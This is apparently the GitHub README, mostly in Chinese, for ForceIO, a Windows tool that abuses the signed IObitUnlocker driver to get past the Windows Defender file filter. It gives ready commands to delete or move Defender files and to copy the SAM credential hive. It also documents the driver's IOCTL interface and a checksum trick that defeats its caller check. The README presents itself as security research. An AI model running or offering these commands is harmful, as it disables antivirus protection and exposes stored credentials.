wesmar/ForceIO
GitHub: wesmar/ForceIO
一款通过加载已签名内核驱动绕过 Windows Minifilter 文件保护机制、强制执行文件删除、移动和复制操作的底层安全研究工具。
Stars: 0 | Forks: 0
# ForceIO
**通过已签名内核驱动绕过 Minifilter 执行文件操作 —— 用于删除、移动和复制 Windows 11 上受 WdFilter.sys 保护的文件的独立工具**
## 功能
ForceIO 通过原子 SCM 会话加载已签名内核驱动,并发送单个 `DeviceIoControl` 调用来执行用户模式 API 无法完成的文件操作:
```
ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
[*] DELETE: C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64
[+] Success.
```
`Remove-Item -Force` 在同一路径下返回 **Access denied** —— WdFilter 阻止了该 I/O 请求。
ForceIO 能够将其删除,因为 IOCTL 直接路由至 minifilter 栈下方。
## 用法
在**提权的命令提示符**(管理员)中运行:
```
ForceIO — minifilter-bypass file operations via signed driver
© WESMAR Marek Wesołowski
Usage: ForceIO [dest]
Commands:
delete Force-delete file or directory (bypasses WdFilter)
rename Force-rename/move file or directory
copy Copy locked file
start Load driver only
stop Unload driver
cleanup Stop driver, remove service, delete temp files
```
### 示例
```
:: Delete a WdFilter-protected file
ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\Unknown.Log"
:: Move a protected directory
ForceIO.exe rename "C:\ProgramData\Microsoft\Windows Defender" "C:\ProgramData\Microsoft\Windows Defender_"
:: Copy a locked file
ForceIO.exe copy "C:\Windows\System32\config\SAM" "C:\Temp\SAM.copy"
```
## 工作原理
1. **FDI 解压缩** —— 已签名的驱动程序二进制文件通过 LZX 压缩为 CAB 归档文件,并附加到应用程序图标中。在运行时,FDI 在内存中将其解压,并将 `forceio.dat` 写入 `%SystemRoot%`。
2. **原子驱动会话** —— `CreateServiceW` → `StartServiceW` → `DeviceIoControl` → `ControlService(STOP)` → `DeleteService` → `DeleteFileW`。该服务仅在 IOCTL 执行期间存在于注册表中。无任何 `Sleep` 调用。
3. **直接 IOCTL** —— 构造一个包含源路径、目标路径、操作类型和标志的 0x428 字节 `METHOD_BUFFERED` 缓冲区,随后调用 `DeviceIoControl(0x222124)`。
4. **校验和绕过** —— 驱动程序通过对调用进程在磁盘上的 EXE 文件计算两种校验和(XOR 和交替加减法)来验证调用者。构建脚本通过附加修正字节来满足这两个约束条件,且无需修改驱动程序。WHCP Authenticode 签名保持完好。
## 技术细节
| 项目 | 值 |
|------|-------|
| 驱动程序 | `IObitUnlocker.sys` v1.3.0.10 (x64, WHCP 签名于 2022-08-17) |
| 设备 | `\\.\IObitUnlockerDevice` |
| IOCTL | `0x222124` (文件操作), `0x222128` (句柄查询) |
| 缓冲区 | 0x428 字节: `SourcePath[264 WCHAR]` + `DestPath[264 WCHAR]` + `OpType` + `Flags` |
| 操作 | 1=删除, 2=原始重命名, 3=移动/剪切, 4=复制 |
| 校验和目标 | XOR=`0x2B`, ALT=`0x00A88677` (硬编码于 driver+0x3DC7) |
| 编译 | `/NODEFAULTLIB`, `/ENTRY:Entry`, `/GS-` — 纯 Win32 API |
| 导入 | `kernel32.dll`, `advapi32.dll`, `cabinet.dll` |
| 架构 | PE32 (x86) — 通过 `METHOD_BUFFERED` 实现 IOCTL 位宽透明 |
### 为什么不直接修补驱动程序呢?
修改驱动程序中的 4 个字节(在 `+0x3DCC` 和 `+0x3DD6` 处将两个 `jne` 替换为 `NOP NOP`)将完全禁用调用者验证。然而,这会使 WHCP Authenticode 签名失效,并且该驱动程序在启用驱动程序签名强制(Driver Signature Enforcement,即所有受支持的 Windows 配置中的默认设置)时将无法加载。约 87 KB 的 PE overlay 填充是保留原始签名所付出的代价。
## 从源码构建
需要 **Visual Studio 2026 Enterprise**(MSVC v145,Windows SDK 10.0):
```
cd C:\Projekty\ForceIO
.\build.ps1
```
构建脚本会:
1. 通过 `makecab` 将驱动程序进行 LZX 压缩,打包为 CAB 归档文件。
2. 将 CAB 文件附加到应用程序图标(`IcoBuilder\kvc.ico` → `ICON\kvc.ico`)。
3. 生成包含图标头字节数的 `src\GenIconSize.h`(FDI 查找偏移量)。
4. 通过 MSBuild 将 `src\ForceIO.vcxproj` 构建为 `Release|Win32`。
5. 计算当前校验和,附加修正字节,并验证是否匹配。
6. 设置确定性时间戳。
输出:`bin\ForceIO.exe`
### 项目布局
```
ForceIO/
├── IcoBuilder/
│ ├── kvc.ico Base application icon
│ └── forceio.dat Signed driver binary (user-supplied)
├── ICON/
│ └── kvc.ico Combined icon + LZX-CAB payload (built)
├── src/
│ ├── main.c Entry point, CLI dispatch
│ ├── DeviceIO.c/.h IOCTL protocol, buffer construction
│ ├── DriverSession.c/.h Atomic SCM lifecycle (Begin/End)
│ ├── DriverExtract.c/.h FDI in-memory decompression
│ ├── Console.c/.h No-CRT console output
│ ├── GenIconSize.h Auto-generated icon header size
│ ├── Resource.h Resource identifiers
│ ├── ForceIO.rc Icon + RCDATA resource
│ ├── ForceIO.manifest UAC elevation manifest
│ └── ForceIO.vcxproj Visual Studio project (Win32 Release)
├── build.ps1 Full build pipeline + checksum patch
└── bin/
└── ForceIO.exe Patched binary
```
### 驱动程序二进制文件
本仓库**不包含**驱动程序二进制文件 (`IObitUnlocker.sys`)。要构建 ForceIO,请将合法获取的 `IObitUnlocker.sys` v1.3.0.10 副本放置为 `IcoBuilder\forceio.dat`。该驱动程序可在 [IObit Unlocker](https://www.iobit.com/en/iobit-unlocker.php) 免费软件安装程序中找到。
## 环境要求
- **操作系统:** Windows 10/11 x64
- **权限:** 管理员(创建 SCM 服务需要提权)
- **DSE:** 已启用(驱动程序已真正通过 WHCP 签名)
- **HVCI:** 兼容(驱动程序在 Hypervisor Code Integrity 下可正常加载)
## 完整分析报告
完整的逆向工程分析报告 —— 包括 IDA 静态分析、CDB 实时反汇编、56 个函数的 IAT 重构、四次失败的绕过尝试、不可约填充(irreducible padding)的数学证明,以及详细的驱动程序架构 —— 已发布于:
**https://kvc.pl/research/forceio-minifilter-bypass**
## 免责声明
本软件仅供**授权的安全研究和教育目的**使用,且仅限于您拥有或获得明确书面许可进行测试的系统。作者不对任何损坏或滥用负责。请始终遵守您所在司法管辖区的适用法律。
## 许可证
MIT — 查看 [LICENSE.md](LICENSE.md)
**作者:** Marek Wesołowski (WESMAR)
**联系方式:** marek@wesolowski.eu.org
**GitHub:** https://github.com/wesmar/ForceIO
标签:AI合规, Linux, 免杀与隐藏, 内核驱动, 客户端加密, 文件操作, 网络协议